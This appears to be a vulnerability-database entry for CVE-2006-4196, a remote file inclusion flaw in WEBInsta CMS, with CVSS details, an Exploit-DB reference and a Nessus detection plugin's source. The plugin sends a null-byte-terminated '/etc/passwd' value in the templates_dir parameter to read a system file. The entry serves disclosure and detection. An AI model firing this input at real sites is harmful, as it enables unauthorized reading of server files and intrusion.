Vulnerabilities > CVE-2006-4196 - Remote File Include vulnerability in WEBinsta CMS Templates_Dir

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
webinsta
nessus
exploit available

Summary

PHP remote file inclusion vulnerability in index.php in WEBInsta CMS 0.3.1 and possibly earlier allows remote attackers to execute arbitrary PHP code via a URL in the templates_dir parameter.

Vulnerable Configurations

Part Description Count
Application
Webinsta
1

Exploit-Db

descriptionWEBinsta CMS <= 0.3.1 (templates_dir) Remote File Include Exploit. CVE-2006-4196. Webapps exploit for php platform
fileexploits/php/webapps/2175.txt
idEDB-ID:2175
last seen2016-01-31
modified2006-08-12
platformphp
port
published2006-08-12
reporterK-159
sourcehttps://www.exploit-db.com/download/2175/
titleWEBinsta CMS <= 0.3.1 templates_dir Remote File Include Exploit
typewebapps

Nessus

NASL familyCGI abuses
NASL idWEBINSTA_CMS_TEMPLATES_DIR_FILE_INCLUDE.NASL
descriptionThe remote host is running WEBInsta CMS, a content management system written in PHP. The version of WEBInsta CMS installed on the remote host fails to sanitize user-supplied input to the
last seen2020-06-01
modified2020-06-02
plugin id22206
published2006-08-14
reporterThis script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/22206
titleWEBInsta CMS index.php templates_dir Parameter Remote File Inclusion
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(22206);
  script_version("1.19");

  script_cve_id("CVE-2006-4196");
  script_bugtraq_id(19489);
  script_xref(name:"EDB-ID", value:"2175");

  script_name(english:"WEBInsta CMS index.php templates_dir Parameter Remote File Inclusion");
  script_summary(english:"Tries to read a local file using WEBInsta CMS");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is prone to a
remote file include attack." );
 script_set_attribute(attribute:"description", value:
"The remote host is running WEBInsta CMS, a content management system
written in PHP. 

The version of WEBInsta CMS installed on the remote host fails to
sanitize user-supplied input to the 'templates_dir' parameter of the
'index.php' script before using it to include PHP code.  Regardless of
PHP's 'register_globals' setting, an unauthenticated attacker may be
able to exploit these flaws to view arbitrary files on the remote host
or to execute arbitrary PHP code, possibly taken from third-party
hosts." );
  # http://web.archive.org/web/20080916193912/http://my.opera.com/atomo64/blog/show.dml/443167
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?0253b50e" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to Webinsta CMS version 0.4.0a or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"plugin_publication_date", value: "2006/08/14");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/08/13");
 script_cvs_date("Date: 2018/08/06 14:03:14");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe",value:"cpe:/a:webinsta:cms");
script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded: 0);
if (!can_host_php(port:port)) exit(0);


# Loop through various directories.
if (thorough_tests) dirs = list_uniq(make_list("/webinsta", cgi_dirs()));
else dirs = make_list(cgi_dirs());

foreach dir (dirs)
{
  # Try to exploit the flaw to read a file.
  file = "/etc/passwd%00";
  w = http_send_recv3(method:"GET",
    item:string(
      dir, "/index.php?",
      "templates_dir=", file
    ), 
    port:port
  );
  if (isnull(w)) exit(0);
  res = w[2];

  # There's a problem if...
  if (
    # there's an entry for root or...
    egrep(pattern:"root:.*:0:[01]:", string:res) ||
    # we get an error saying "failed to open stream".
    egrep(pattern:"main\(/etc/passwd\\0template.def\.php.+ failed to open stream", string:res) ||
    # we get an error claiming the file doesn't exist or...
    egrep(pattern:"main\(/etc/passwd\).*: failed to open stream: No such file or directory", string:res) ||
    # we get an error about open_basedir restriction.
    egrep(pattern:"main.+ open_basedir restriction in effect. File\(/etc/passwd", string:res)
  )
  {
    if (egrep(string:res, pattern:"root:.*:0:[01]:"))
      contents = res - strstr(res, "<!DOCTYPE");

    if (contents)
    {
      contents = data_protection::redact_etc_passwd(output:contents);
      report = string(
        "\n",
        "Here are the contents of the file '/etc/passwd' that Nessus\n",
        "was able to read from the remote host :\n",
        "\n",
        contents
      );
      security_hole(port:port, extra:report);
    }
    else security_hole(port);

    exit(0);
  }
}